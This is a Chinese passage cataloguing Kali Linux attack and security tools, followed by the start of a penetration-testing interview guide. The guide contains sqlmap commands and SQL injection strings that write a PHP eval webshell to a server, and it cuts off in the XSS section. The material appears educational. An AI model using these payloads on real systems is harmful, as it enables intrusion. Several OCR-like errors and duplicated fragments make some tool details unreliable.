是由0xid.it开发的一个针对Microsoft操作系统的免费口令回复工具,号称穷人使用的LC,这是一款网络管理员必备的工具,它可以用来检测Windows,UNIX用户是否使用了不安全的密码。它的功能十分强大,可以进行网络嗅探、网络欺骗、破解加密口令、解码被打乱的口令、显示口令框、显示缓存口令和分析路由协议,甚至还可以监听内网中他人使用V0IP拨打电话。Crunch命令行Crunch是一款密码生成工具,可以按照指定的规则(用户可以指定字符集)生成密码字典。它可以产生所有有可能的组合和排列,其生成的字典字符序列可以输出到屏幕、文件或重定向到另一个程序中。Findmyhash命令行Findmyhash是一款可以破解哈希值的强大脚本,用python语言编写,如果用户希望破解一些难以理解的Hash值,使用Findmyhash脚本可以一键阅读出Hash值内的所有内容。Hash-Identifier命令行Hash-Identifier并不是Hash破解工具,而是用来判断Hash值所使用的加密方法的工具。Hydra Hydra-gtk(九头蛇)命令行图形用户界面Hydra是由THC(黑客优选)社区开发的一个在线快速破译密码工具,目的是为研究人员及安全顾问展示如何从远程侵入系统,其密码词库支持超过50种网络协议,包括Telnet、RDP、SSH、FTP、HTTP、HTTPS、SMB等等,还支持多种数据库的密码破译,Hydra-gtk是其图形用户界面John the Ripper(开膛手约翰)命令行John the Ripper是免费开源软件,是一个快速的密码破解工具,用于在已知密文的情况下尝试破解出明文的破解密码软件,支持目前大多数的加密算法,如DES、MD5等。它支持多种不同类型的系统架构,包括Unix,Linux,Windows,Dos模式、BeOs和openVMS,主要目的是破解不够牢固的Unix。Linux系统密码。Medusa(美杜莎)命令行Medusa和Hydra一样是一款在线密码破解工具。优点是Medusa的稳定性较好,但Medusa支持的模块要比Hydra少很多,也不支持RDF服务协议。同时它的表单破解也存在一些问题。RainbowCrack命令行 图形用户界面RainbowCrack是一个使用内存时间交换技术加速口令破解过程的口令破解器。它使用了彩虹表也就是一张预先计算好的明文和散列值的对照表。通过预先花费时间创建这样的彩虹表,能够再以后破解口令时节约大量的时间rtgen命令行rtgen工具用来生成彩虹表。彩虹表是一个庞大的,针对各种可能的字母组合预先计算好的哈希值的集合,不一定是针对MD5算法的,各种算法的都有,有了它可以快速地破解各种密码。越是复杂的密码,需要的彩虹表就越大,现在主流的彩虹表都是100G以上的。不同的加密方式要用不同的彩虹表。Samdump2命令行Samdump2是一款破解Windows SAM 密码文件的工具。密码破解采用穷举法,利用工具对密码进行自动尝试,这个过程比较耗时,并且只对弱口令有效。为了缩短时间,往往要用到密码字典,将常用的密码组合写在字典文件中,简单的排在前面,复杂的排在后面,破解密码时从字典文件的开头一个个地尝试,直到尝试出密码为止。对于一些复杂的密码,密码工具往往会失去作用,达不到效果。六、权限提升工具目前的操作系统往往是多用户系统,不同的用户有不同的访问权限,从而起到保护系统安全的目的。对系统的访问权限越大,能执行的功能就越多,安全渗透一个很重要的目标就是提升用户权限,获得更大的系统访问权,执行更多的操作。kali提供的权限提升工具如下表所示:名称使用模式描述MeterpreterShell命令行Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。在Meterpreter中可以执行Getsystem命令快速提权,Meterpreter会自己尝试用多种方法去提升权限,使得用户只需要运行一条指令就能获得System权限。SETShell命令行SET是社会工程包,是一个为社会工程设计的开放源码的渗透测试框架。它有许多自定义攻击向量,允许用户快速发起可信攻击。kali系统提供的很多漏洞利用和密码攻击附带权限提升的功能,用户可以参考kali官网中对这些工具的介绍。七、Web应用工具Web应用是互联网最重要的应用之一,其应用范围十分广泛,正是由于Web的普及,使得它几乎成为网络的代名词。同样地,Web应用存在的安全问题很多,是最容易受到攻击的应用之一,因此针对web应用的安全渗透测试十分重要,通过渗透测试有助于发现Web应用的缺点和漏洞,从而弥补web应用的脆弱性,使得Web应用更加完善。kali系统提供的Web应用工具如下表所示:名称使用模式描述Arachni命令行Arachni是一个多功能、模块化、高性能的Ruby框架,旨 在帮助渗透测试人员和管理员评估Web应用程序的安全性。同时 Arachni开源免费,可安装在Windows、Linux以及Mac系统上,并 且可导出评估报告。BlindElephant命令行BlindElephant是一款Web应用程序指纹识别工具。该工具可 以读取目标网站的特定静态文件,计算其对应的哈希值,然后和预 先计算出的哈希值做对比,从而判断目标网站的类型和版本号。目 前,该工具支持15种常见的Web应用程序的几百个版本。同时, 它还提供WordPress和Joomla的各种插件。该工具还允许用户自 已扩展,添加更多的版本支持。CutyCapt命令行CutyCapt是基于Qt实现的跨平台的将HTML网页转化成矢量 图形和位图图像格式的命令行工具(比如,SVG、PDF、PS、PNG、 JPEG、TIFF、GIF等)。DIRB命令行DIRB是一个专门用于爆破目录的工具,在Kali中默认已经安 装,类似工具还有国外的patator、dirsearch、DirBuster,国内 的御剑等。Nikto命令行Nikto是一款开源的(GPL)网页服务器扫描器,它可以对网页 服务器进行全面的多种扫描,包含超过3300种有潜在危险的文件/ CGIs、超过625种服务器版本、超过230种特定服务器问题。扫描 项和插件可以自动更新(如果需要)。基于Whisker/libwhisker 完成其底层功能。这是一款非常棒的工具,但其软件本身并不经常 更新,最新和最危险的可能检测不到。OWASPZAP图形用户界面OWASP Zed Attack Proxy Project攻击代理,是一款查找网页 应用程序漏洞的综合类渗透测试工具。它包含了拦截代理、自动处 理、被动处理、暴力破解、端口扫描以及蜘蛛搜索等功能。OWASP ZAP为会话类调试工具,调试功能对网站不会发起大量请求,对服 务器影响较小。Paros图形用户界面Paros Proxy是一个对Web应用程序的漏洞进行评估的代理程 序,它是一个基于Java的Web代理程序,可以评估Web应用程序 的漏洞。它支持动态地编辑/查看HTTP/HTTPS,从而改变cookies 和表单字段等项目。它包括一个Web通信记录程序、Web圈套程序、 hash计算器,还有一个可以测试常见的Web应用程序攻击的扫描器。 该工具检查漏洞形式包括:SQL注入、跨站点脚本攻击、目录遍历等。ProxyStrike图形用户界面ProxyStrike是一款用于web漏洞扫描的工具,需要配置代理使用,带有爬虫模块、请求报告、日志、配置等功能模块Vega图形用户界面Vega是一个开放源代码的Word应用程序安全测试平台, Vega能够帮助验证SQL注入、跨站脚本、敏感信息泄露和其他一些安全漏洞。Vega使用Java编写,有GUI,可以在Linux、OS X和 Windows下运行。W3af命令行 图形用户界面Wild(Web Application Attack and Audit Forwardwork)是 个Web应用程序攻击和审计框架。它的目标是创建一个易于使用和 扩展、能够发现和利用Web应用程序漏洞的主体框架。W3af的核心 代码和插件完全由Python编写。项目已有超过130个的插件,这 些插件可以检测SQL注入、跨站脚本、本地和远程文件包含等漏洞。Webshag命令行Webshag是一个对Web服务器进行安全审计的跨平台多线程工具。Webshag会收集那些通常对Web服务器有用的功能,比如 Webshag是一个用于对Web服务器进行安全审计的跨平台多线 端口扫描、URL扫描和文件模糊测试。可以通过代理和HTTP身份认 证(基于认证或摘要认证),以HTTP或HTTPS的方式扫描Web服务器。 此外Webshag可以凭借IDS规避能力,使请求之间的相关性变得更 复杂。WebSploitShell命令行WebSploit是一个开源项目,主要用于远程扫描和分析系统漏 洞。使用它可以非常容易和快速发现系统中存在的问题,并用于深 入分析。WhatWeb命令行Whatweb是一个基于Ruby语言的开源网站指纹识别软件,正如 它的名字一样,Whatweb能够识别各种关于网站的详细信息,包括: CMS类型、博客平台、中间件、Web框架模块、网站服务器、脚本类型、 JavaScript库、IP、cookie等等。Web应用广泛,相应的技术层出不穷,无论是用户前端还是服务器后端,都存在大量的漏洞,是黑客攻击的重点,因此Web的安全问题是网络安全一个十分重要的分支。但是学习Web安全渗透十分不易,各种客户端和服务器端技术非常庞杂,需要掌握大量的背景知识,熟悉各种脚本语言和网站架构。在学习Web安全渗透的过程中,熟练使用上述工具将对用户有很大的帮助,从而事半功倍八、无线攻击工具随着无线网络基础设施的提升,以智能手机为代表的无线网络通信得到了广泛的应用。无线网络摆脱了有线网络的限制,携带方便,用户可以随时随地访问网络。随着无线网络带宽的提升,有线网络带宽快这一优势已不明显,因此目前无线网络在智能终端应用方面已经远超有线网络,甚至在笔记本的应用上也有超越有线网络的趋势。随着越来越多的应用转移到智能手机平台,特别是手机购物、手机支付、手机理财应用的普及,近几年针对无线网络的攻击也甚嚣尘上,愈演愈烈。无线网络的安全问题与Web应用的安全问题一样,已成为安全领域一个重要的问题,不容忽视。Kali系统提供的无线攻击工具如下表所示:名称使用模式描述Aircrack-ng图形用户界面Aircrack-ng是一个与802.11标准的无线网络分析有关的 安全软件,主要功能有:虚拟管道创建、网络侦测、数据包嗅 探、WEP和WPA/WPA2-PSK破解、essid密码列表的保存和管理。 Aircrack-ng可以工作在任何支持监听模式的无线网卡上并嗅探 802.11b,802.11b,802.11g的数据。该程序可运行在Linux和 Windows上。Arpspoof命令行Arpspoof是一款专业的ARP断网攻击软件,能够直接欺骗网 关,使得通过网关访问网络的电脑全被欺骗攻击,通过ARP欺骗 达到中间人嗅探和捕获网络数据包的目的,并替换传输中的数据, 方便用户开启ARP断网攻击,抢占网速。Easy-Creds命令行Easy-Creds是一款欺骗嗅探为主的攻击脚本工具,它具备 ARP毒化、DNS毒化等一些嗅探攻击模式。它最亮的地方就是它 的fake AP(欺骗访问点)功能。它比一般自行搭建的fake AP 要稳定得多,而且里面还包含了针对802.1x的攻击模式。Gerix Wifi Cracker图形用户界面Gerix Wifi Cracker是一个aircrack图形用户界面的无线 网络破解工具,可破解无线网络密码。Kismet命令行Kismet是一款802.11二层无线网络探测器、嗅探器和入侵 检测系统,使用该工具可以检测周围的无线信号,并查看所有可 用的无线接入点,并能嗅出802.11a/b/g/n的流量。Reaver命令行Reaver是一款针对开启Wi-Fi安全防护设定(Wi-Fi Protected Setup,WPS)服务的无线网络的破解工具。Wifte图形用户界面Wifte是一款使用Aircrack-ng工具集来破解无线网络的带 图形用户界面的工具,是一款自动化WEP、WPA以及WPS破解工具, 特点是可以同时攻击多个采用WEP和WPA加密的网络。上述无线网络攻击工具很多集中在对无线接入点的攻击上,包括伪造接入点、干扰无线信号、破解WEP/WPA密码等。针对无线网络应用的攻击与有线网络应用类似,可以采用相同的方法。九、硬件黑客工具针对一些特定的软硬件平台、产品和文件格式,如Android、Arduino、树莓派、Jave虚拟机、APK文件, Kali提供了一些软硬件环境模拟器,及对应文件格式的转换、编译和反编译的工具,放在硬件黑客工具类下面,这些工具如下表所示名称使用模式描述Android-sdk图形用户界面Android-sdk是一款运行于Kali Linux系统的安卓模拟器,为 用户提供了构建、测试和调试安卓应用程序所需的API库和开发工具。Apktool命令行Apktool是一款APK(Android安装包)反编译工具,具有编译、 反编译、签名等功能。Arduino图形用户界面Arduino是一款便捷灵活、方便上手的开源电子原型平台,旨在 为艺术家、设计师、爱好者和任何感兴趣的人创造互动对象或环境。Dex2jar命令行Dex2jar是一个能操作Android的dalvik(. dex)文件格式和 Java(. class)的工具集合。Dex2jar是一个可以将. dex文件转换 成Java的. class文件的转换工具。Dex2jar与JD-GUI组合起来就 能很好地对apk文件进行一个反编译。Sakis3G命令行Sakis3G是一个经过修改的shell脚本,它能与不同厂商生产的 调制解调器建立3G连接。它能自动设置USB或蓝牙调制解调器,甚 至可以检测操作人员的设置。Smali/Baksmali命令行Smali/Baksmali分别是指安卓系统里的Java虚拟机(Dalvik) 所使用的一种. dex格式文件的汇编器/反汇编器。采用上述工具可以模拟特定的软硬件环境,提供特定文件格式的转换,帮助用户实地了解目标环境的运行情况,为进一步的安全渗透测试提供支持。十、维持访问工具在渗透进入对方系统,获取访问控制权限并提升权限之后,攻击者如想进一步维持这一访问权限,往往需要使用木马程序、后门程序和Rootkit来达到这一目的。Kali系统提供的维持访问工具如下表所示:名称使用模式描述Cryptcat命令行Cryptcat是网络工具Netcat的加密版本。Cryptcat支持TCP、UDP两种 网络协议。它可以在两个计算机之间建立指定的连接,并使用特定的密钥对 传输数据进行加密。为了提高加密效果,该工具允许用户在每次连接时使用 自定义的密钥,从而保证数据的安全性。Cymothoa命令行Cymothoa是一款可以将ShellCode注入现有进程(插入进程)的后门工具。 借助这种注入手段,它能够把ShellCode伪装成常规程序。它所注入的后门 程序能够与被注入的程序共存,以避免被管理或维护人员怀疑。将ShellCode 注入其他进程,还有另外一个优势就是:即使目标系统的安全防护工具能够 检验可执行程序的完整性,只要它不检查内存,就不能发现后门程序的进程。Intersect命令行Intersect是一款适合在漏洞利用以后使用的能够自动完成多种后期任 务的程序。它能够自动收集密码文件、赋值SSH密钥、收集网络信息,并能 识别杀毒软件和防火墙程序。若要它自动执行后期任务,用户需要创建自己 的脚本文件,脚本中指定需要执行的各种功能。对于Inetersect来说,每个 功能都有对应的执行模块。NetCat命令行NetCat是一个非常简单的Unix工具,可以读、写TCP或UDP网络连接 (Network Connection)。它被设计成一个可靠的后端(Back-End)工具, 能被其他的程序或脚本直接地或容易地驱动。同时,它又是一个功能丰富的 网络调试和开发工具,因为它可以建立用户可能用到的几乎任何类型的连接, 以及一些非常有意思的内建功能。Weevely命令行Weevely是一款针对PHP的webshell的自由软件,可用于模拟一个类似 于Telnet的连接shell, Weevely通常用于Web程序的漏洞利用,隐藏后门 或者使用类似Telnet的方式来代替Web页面式的管理, Weevely生成的服 务器端php代码是经过了base64编码的,所以可以骗过主流的杀毒软件和 IDS,上传服务器端代码后通常可以通过Weevely直接运行。维持访问工具可以帮助攻击者维持对目标系统的访问控制权限,防止攻击行为被发现,同时可以留下后门,方便攻击者的下次访问。十一、取证工具在对电子证据进行取证的过程中,相应的取证工具必不可少。取证工具是在调查计算机犯罪时,为了保护证据的完整性和有效性所使用的一些辅助工具。取证工具一般分为勘查取证工具和检查取证工具两种,其中勘查取证工具包括在线取证工具、硬盘复制机、写保护接口硬件、数据擦除设备、手机取证系统等;检查取证工具则包括数据恢复工具、密码译破工具、专用计算机法证工具等。这些工具往往需要对磁盘数据、文件数据、加密数据等进行恢复和提取,从中寻找电子证据。Kali系统提供的取证工具如下表所示:名称使用模式描述Bulk _ extractor命令行Bulk _ extractor是从数字证据文件中提取诸如电子邮件地址、信 用卡号、URL和其他类型的信息的功能的程序。它是一个有用的取证 调查工具,可以用于许多任务,如恶意软件和入侵调查、身份调查和 网络调查,以及图像分析和密码破解。Capstone命令行Capstone是一款优秀的反汇编框架,支持多种CPU架构,支持多 个平台,提供反汇编指令的语义详情,用一个授权许可便可以为所有 重要编程语言提供捆包等。Dumpzilla命令行Dumpzilla是用Python 3.x开发的,目的是提取Firefox, Iceweasel和Seamonkey浏览器的相关信息进行分析。它在Unix和 Windows 32/64位系统下工作,采用命令行界面,所以信息可以通过 管道重定向工具(如grep, awk, cut, sed)进行转储。Galeta命令行Galeta是一个取证工具,用于检查微软公司Internet Explorer 生产的Cookie文件的内容。它解析文件并输出可以在电子表格中加载 的字段。Peepdf命令行Peepdf是一个用Python开发的、集成了多个组件的、用于检测 和分析PDF文件是否有害的取证工具。RegRipper图形用户界 面RegRipper是一款用来对Windows操作系统的注册表进行取证的 工具。Volatility命令行Volatility是开源的Windows, tinus:MaC, Android的内存取 证分析工具、由Python编写成,命令行操作,支持各种操作系统。电子证据其实就是计算机能够处理的数字化的数据,它以各种文件格式存储在不同类型的存储介质上。从上表中可以看出,针对不同类型的数据,需要相应的工具去读取,进行取证,有时对于加密数据,需要解密后才能取证。十二、逆向工程工具逆向工程(又称反向工程),是一种产品设计技术再现过程。在软件工程领域,一般是先进行UML设计,然后用工具生成代码,这个过程叫正向工程;相应地,从代码生成UML设计图叫作逆向工程。最典型的逆向工程就是程序代码的反汇编或反编译,通过对可执行文件的反向编译还原出其源代码的过程。对于一些危害系统安全的、感染了病毒或者含有恶意代码的可执行文件,如果让其执行可能会引起破坏,造成无法挽回的损失,这时可通过逆向工程手段还原其源代码,在不执行代码的情况下通过对源代码的分析能够更容易地判断并找出恶意代码。Kali系统提供的逆向工程工具如下表所示:名称使用模式描述diStorm3命令行diStorm3是Kali Linux自带的一款轻量级、容易使用的反汇编 引擎。它可以反汇编生成16位、32位和64位指令。它支持的指令 集包括FPU、MMX、SSE、SSE2、SSE3、SSSE3、SSE4、x86-64、VMX、 AMDs、SVM等。虽然diStorm3采用C语言编写,但可以被Python、 Ruby、Java快速封装。这样,用户可以使用Python、Rudy等脚本语言编写脚本,并引入diStorm33,从而定制自己的反汇编工具。edb-debugger图形用户界面edb-debugger是一个跨平台的x86/x86-64调试器。它受到 Ollydbg的启发,但是其目标是在x86和x86-64以及多个操作系 统上运行。Linux是目前edb-debugger唯一官方支持的平台,但 FreeBSD,OpenBSD,OSX和Windows端口正在进行不同程度的功能实现。Flasm命令行Flasm可以对Flash的SWF文件进行拆解,包括所有的时间表和 事件。通过反汇编,用户可以了解Flash编译器的工作原理,从而提 高用户的ActionScript技能。用户也可以手动对反汇编代码进行优 化,或者根据需要调整代码,然后利用Flasm将用户的更改应用于原 SWF,替换原始操作JavaSnoop图形用户界面JavaSnoop是一个java应用程序安全测试工具,它允许已拦截的方法,篡改数据和hack运行在计算机上的java应用程序。通常在没 JavaSnoop是一个java应用程序安全测试工具,它允许以拦截的 有源代码的情况下,测试java客户端的安全性是不可预知的。在有源 代码的情况下,可以运行一个简单的java程序,并在远程附加一个调 试器来调试它,单步运行,根据需要改变变量,但对于一个applet来 说要想做到这一点是有点困难的。有时,可能需要修改客户端和服务 器之间的通信,一般的做法是在客户端配置一个代理,在代理上修改 数据。问题的关键是,通信的数据通常不是明文的,可能使用了自定 义的协议、序列化的对象、加密的数据或者多种方式混合应用。这样 要想修改通信过程中的数据是比较困难的。JavaSnoop试图解决这些 问题,它可直接附加到一个运行中的进程,类似于调试器,然后,篡 改方法调用、运行自定义代码或者对系统进行监视。011yDbg图形用户界面011yDbg是一个新的动态追踪工具,将IDA与SoftICE结合起来, Ring 3级调试器,非常容易上手,已代替SoftICE成为当今最为流行 的调试解密工具。同时还支持插件扩展功能,是目前最强大的调试工具。Valgrind命令行Valgrind是一款用于内存调试、内存泄漏检测以及性能分析的软 件开发工具。在信息安全领域,逆向工程往往与编程相关,涉及程序代码的编译、反编译、调试等,其目的是分析代码、跟踪代码的运行,判断并评估代码执行的安全性,从中发现可能的恶意代码。十三、压力测试工具压力测试是一种基本的质量保证行为,测试的对象可以是一个独立的应用软件或者是一个完整的系统。它是每个产品在流向市场之前进行的一项重要的、全方位的质量检测。压力测试的基本思路很简单,它不是在常规条件下运行手动或自动测试,而是在计算机数量较少或系统资源匮乏的条件下运行测试。通常要进行压力测试的资源包括内存、CPU、磁盘空间和网络带宽。压力测试的时间往往持续很久,其目的是通过大量的、全面的操作使得产品长时间、高负荷地工作来检验产品的质量。Kali系统提供的压力测试工具如下表所示:名称使用模式描述DHCPig命令行DHCPig可以发起一个高级的DHCP耗尽攻击。它将消耗局域网内的所 有IP地址以及阻止新客户端获取IP,同时它也防止旧客户端释放IP地址。 另外,它会发送无效的ARP去把所有的Windows主机震下线。FunkLoad命令行FunkLoad是一个功能和负载的Web测试仪,主要用于Web项目,对网 站项目进行功能测试、性能测试、负载测试(如音量的测试或寿命测试) 和压力测试。iaxflood命令行IAX是Inter-Asterisk eXchange的缩写,也就是Asterisk内部交换 协议。iaxflood则是利用IAX设计缺陷而发起洪水式攻击的工具。Inundator命令行Inundator是一个支持多目标的、多线程的、队列驱动的、匿名的、 误用入侵检测系统。MDK3命令行MDK3是一款无线DOS攻击测试工具,能够发起Beacon Flood、 Authentication DoS、Deauthentication/Disassociation Amok等模式的 攻击,另外它还具有针对隐藏ESSID的暴力探测模式、802.1X渗透测试、 WIDS干扰等功能。rtpflood命令行rtpflood可以洪水攻击RTP通话设备,实现拒绝服务的效果。inviteflood命令行inviteflood通过TCP/UDP进行泛洪攻击的SIP/SDP会话,该工具可 以在本机产生大量的流量,因为需要在本地读取数据进行对外发送。所以 在流量监控时可能会产生40M/s的速度。SlowHTTPTest命令行lowHTTPTest是依赖HTTP协议的慢速攻击DoS攻击工具,设计的基 本原理是服务器在请求完全接收后才会进行处理,如果客户端的发送速度 缓慢或者发送不完整,服务端为其保留连接资源池占用,大量此类请求并 发将导致DoS。THC-SSL-DOS命令行HC-SSL-DOS是一款针对SSL的压力测试工具。该工具默认会同服务 器建立400个SSL连接,并且快速进行重新协商Renegotiations,以达到 大量消耗服务器CPU资源的目的。该工具目前只针对开启重新协商功能的 服务器,所以只要关闭该功能,就可以抵御该工具的攻击。目前很多用于DoS攻击的工具被用来作为压力测试工具,它们的工作原理其实是相同的,都是通过大量的任务耗尽系统资源(CPU、存储和网络带宽)的方法来测试目标的抗压能力。十四、报告工具在一次渗透测试结束后,往往需要利用报告工具来生成报告,供工作人员进行存档或者工作报告。一些功能强大且友好的报告工具生成的报告不只包含最终的结果,还包括一些重要的原始数据、中间数据和对数据的分析,并且最终的报告形式可以是多样的、可视化的,用各种图表来生动形象地将结果更好地展示出来。Kali系统提供的报告工具如下表所示:名称使用模式描述CaseFile图形用户界面CaseFile是Maltego的姊妹工具,功能非常类似于Maltego。 CaseFile主要针对数据进行离线分析,缺少Maltego的数据采集功能。 它可以导入各类数据,包括Maltego导出的数据。用户可以为信息添 加连接线、标签和注释,标记数据的关系。CaseFile以图形化的方式 展现数据,方便分析人员找出隐含的数据关系。CherryTree图形用户界面支持富文本编辑和代码高亮,支持Linux和Windows平台。数据采用 CherryTree是一个支持无限层级分类的笔记软件,由Python编与, sqlite或XML存储,支持密码保护。支持从NoteCase、KeepNote、 Knowit、Tomboy、TuxCards、Treepad、Leo等笔记软件导入数据。dos2unix命令行dos2unix命令用来将DOS格式的文本文件转换成UNIX格式的文 本。Dradis图形用户界面Dradis框架是一个开源的、用Ruby开发的协作和报告平台。可 生成渗透测试报告,内容包括所提供的服务、使用的方法、发现的结 果和建议。MagicTree图形用户界面MagicTree是一个面向渗透测试人员的工具,可以帮助用户轻松 直接地进行数据合并、查询、外部命令执行和报告生成,所有的数据 都会以树形结构存储,非常方便。MetagoofilShell命令行Metagoofil是一款利用Google收集信息的工具,目前支持的文 件类型有Word、PPT、Excel和PDF,结果可生成HTML报告文件。上述报告工具都有其各自的应用领域,在使用时要根据实际情况来选择。但不管是哪种工具,都使得报告的生成更加自动和便利,节省了工作人员的时间。十五、kali Top10 工具针对繁多的Kali工具,业界总结出Kali Top10工具,这些工具功能强大、使用广泛,是Kali工具集中使用最为频繁的十大工具。这些工具分别是:Nmap(信息收集、脆弱性分析)、Metasploit(漏洞利用)、John the Ripper(密码攻击)、THC-Hydra(密码攻击)、Wireshark(信息收集、嗅探与欺骗)、Aircrack-NG(无线攻击)、Maltego Teeth(信息收集、漏洞利用、密码攻击、Web应用)、OWASPZAP(Web应用)、Cain&Abel(嗅探与欺骗、密码攻击)、Nikto(Web应用、信息收集)。这些工具在前面的部分都有介绍,掌握这些工具的使用对从事安全渗透测试工作有着很大的帮助,是信息安全的利器。本章小结本篇文章按照安全工具的类型,对Kali系统自带的、常用的安全工具做了介绍。无论是对于安全专家还是攻击者,安全工具都是他们从事安全工作的利器。一个好的安全从业人员,熟练掌握各种类型的安全工具是必不可少的。Kali系统免去了人们寻找、安装安全工具的烦恼,大大方便了对安全的学习、研究和工作。但是Kali系统自带的安全工具如此之多,这些工具的功能、作用是什么?什么时候应该使用什么工具?也是一件令人烦恼的事情。为此本篇文章对一些常见的工具按照功能进行了分类介绍,为安全工作人员提供了便利。
2022渗透测试面试大全(过来人的全部家底)
大家可以关注关注我的公众号 定期分享一些干货直接搜索-小白渗透测试编辑面试过很多次渗透测试岗位,整理的面试题改了又改,这是我的最终版本,绝对的干货,记得收藏保存。目录渗透测试流程业务逻辑漏洞挖到过的漏洞sql注入跨站脚本攻击XSSCSRF跨站请求伪造SSRF服务器端请求伪造文件上传文件解析XXE即xml外部实体注入漏洞XSS和CSRF的区别CSRF和SSRF的区别CSRF 和 XSS 和 XXE 区别中间件漏洞PHP代码审计容易出问题的点GET 和 POST 的区别Cookie和Session的区别webshell的检测方法反弹shell常用命令内网渗透提权免杀应急响应反序列化溯源owasp top10域渗透登陆界面测试思路DNSlog使用渗透测试流程首先拿到书面权限。 (1)信息收集 1.获取域名的 whois 信息,获取注册者邮箱姓名电话等。 2.查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的 cms 或者其他漏洞。 3.查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如 IIS,APACHE,NGINX 的解析漏洞 4.查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如mysql-3306,ftp-21,ssh -22等。5.扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏。可以使用dirb、ffuf工具扫描目标网站的目录。 6.google hack 进一步探测网站的信息,后台,敏感文件 。 7.可以对网站架构探测-获取网站的插件信息,比如说js版本,cms类型,中间件信息。如火狐插件-wappalyzer,CMS指纹识别、查看数据包的响应头。 8.资产收集工具-灯塔系统,OneForAll-master。 (2)漏洞扫描 开始检测漏洞,我们可以使用漏洞扫描工具:awvs、nessus、appscan、xray。同时,配合手动测试,如 sql注入,xss跨站脚本、csrf跨站请求伪造、xxe漏洞、ssrf服务端请求伪造、文件包含、文件上传、文件解析、远程代码执行漏洞、越权访问漏洞、反序列化漏洞等 。(3)漏洞利用 可以利用一些方式拿到 webshell。如:sql注入-sqlmap,XSS跨站脚本-Beef-XSS、抓包工具-brup、文件上传漏洞-一句话木马 (4)权限提升 获得了webshell后,一般权限很低,所以我们需要提权。1.mysql提权2.windows溢出提权3.linux脏牛,内核漏洞提权(CVE-2016-5195)(cve-2021-4034)。 (5)日志清理 (6)总结报告及修复方案业务逻辑漏洞1.越权漏洞 水平越权:一般是修改get或post参数来查看其他人的业务信息,一般是在订单处或个人信息处。例如:2个账号,修改账号1的get或post参数去查看账号2的信息。 垂直越权:两个账号,一个普通,一个管理员,抓包修改管理员的参数,权限类型不变,权限ID改变,普通账号获得与管理员相同的权限。 2.密码找回 攻击者只要通过在本地抓取数据包并对其内容加以分析就能获取到其他用户的用户凭证,从而达到重置任意用户密码的目的。 找回密码功能模块通常会将用户凭证(通常为验证码或者链接)发送到用户注册时使用的手机号或者邮箱中,只要用户不泄露自己的用户凭证就不会被攻击者利用。但有些信息系统在密码找回功能的设计存在逻辑缺陷,可能会将用于用户自证身份的信息的用户凭证以各种各样的方式返回到客户端。 防御:1.不要将token验证之类的数据直接返回给用户数据包。2.用户身份验证一定要在后端实现。 3.支付逻辑漏洞 服务器端没有对客户端请求数据中的金额、数量等敏感信息作校验,攻击者通过bp抓包修改任意金额购买商品或者给账号充值等。 防御:1.在请求数据中对涉及金额、数量等敏感信息进行加密,并在服务器端对其进行校验。2.支付交易请求数据中加入token,防止重放攻击。 4.验证码相关漏洞 验证码暴力破解:验证码具有一定的规律性,通过穷举或其它方式猜解出验证码。 验证码重复使用:当服务器端接受请求后,没有将上一次保存的session及时清空,将会导致验证码可重复使用。 验证码绕过:系统没有把验证码和用户放在一个请求里面校验,导致绕过了第一次验证码校验,就可以进行密码爆破。 5.重放攻击漏洞 比如说点赞或者签到地方,服务器是根据ip地址识别当前用户是否已点赞的,在数据包里添加一行X-Forwarded-For来伪造http客户端ip,使用bp抓包后发到intruder里遍历IP,设置payload去攻击,经过多次重放,可导致多次签到。 防御:1.添加token值2.添加时间戳。挖到过的漏洞水平越权 垂直越权 支付漏洞 重放攻击 弱口令 任意文件上传sql注入简介主要原因是程序员在开发用户和数据库交互的系统时没有对用户输入的字符串进行过滤,转义,限制或处理不严谨,导致用户可以通过输入精心构造的字符串去非法获取到数据库中的数据。分类:1、基于时间的盲注(查看延迟语句是否执行)2、基于布尔的盲注(根据返回页面判断条件真假)3、基于报错注入(页面会返回报错信息)4、基于数字型注入(分为联合查询注入、堆查询注入、宽字节注入)防御:1.使用预编译语句,绑定变量2.过滤特殊符号3.检查变量的数据类型和格式4.使用白名单来规范化输入验证方法 1.获取数据库名 select SCHEMA_NAME from information_schema.SCHEMATA2.获取表名select TABLE_NAME from information_schema.TABLES3.获取字段名select * from information_schema.COLUMNS where TABLE_NAME="users" and TABLE_SCHEMA="security"4.获取数据select id,username,password from users绕过waf7.替换大小写8.替换关键字9.编码:16进制编码、unicode编码10.插入注释11.特殊符号12.缓冲区溢出。Sql注入流程:判断是否有回显,有回显尝试联合查询,无回显查看是否有数据库报错信息,有报错信息可以尝试报错注入。无回显无报错信息,尝试盲注(时间和布尔)sqlmap,怎么对⼀个注⼊点注⼊?1)如果是 get 型号,直接,sqlmap -u "诸如点⽹址".2) 如果是 post 型诸如点,可以 sqlmap -u "注⼊点⽹址” --data="post 的参数 "3)如果是 cookie,X-Forwarded-For 等,可以访问的时候,⽤ burpsuite 抓包,注⼊处⽤*号替换,放到⽂件⾥,然后sqlmap -r "⽂件地址报错注入函数:1.updatexml()函数 2.extractvalue()函数 3.floor()函数盲注和延时注入的共同点?都是一个字符一个字符的判断SQL语句写入webshell 1.联合查询:通过SQL注入select into outfile实现。1' union select 1,"<?php @eval($_GET['cmd'])?>" into outfile 'E:\\phpStudy\\PHPTutorial\\WWW\\DVWA-master\\cmd.php' -- 2.盲注或报错:可以通过分隔符写入,利用lines terminated by语句进行拼接,拼接后面的webshell内容。1' into outfile 'E:\\phpStudy\\PHPTutorial\\WWW\\DVWA-master\\321.php' lines terminated by '<?php phpinfo(); ?>'--跨站脚本攻击XSS简介:攻击者向有XSS漏洞的网站中输入恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。分类:反射型(非持久型)XSS、存储型(持久型)XSS、DOM型XSS.区别:DOM XSS和反射型XSS、存储型XSS的差别在于DOM XSS的代码并不需要服务器参与,触发XSS靠的是浏览器端的DOM解析,完全是客户端的事情。防御:1.使用XSS 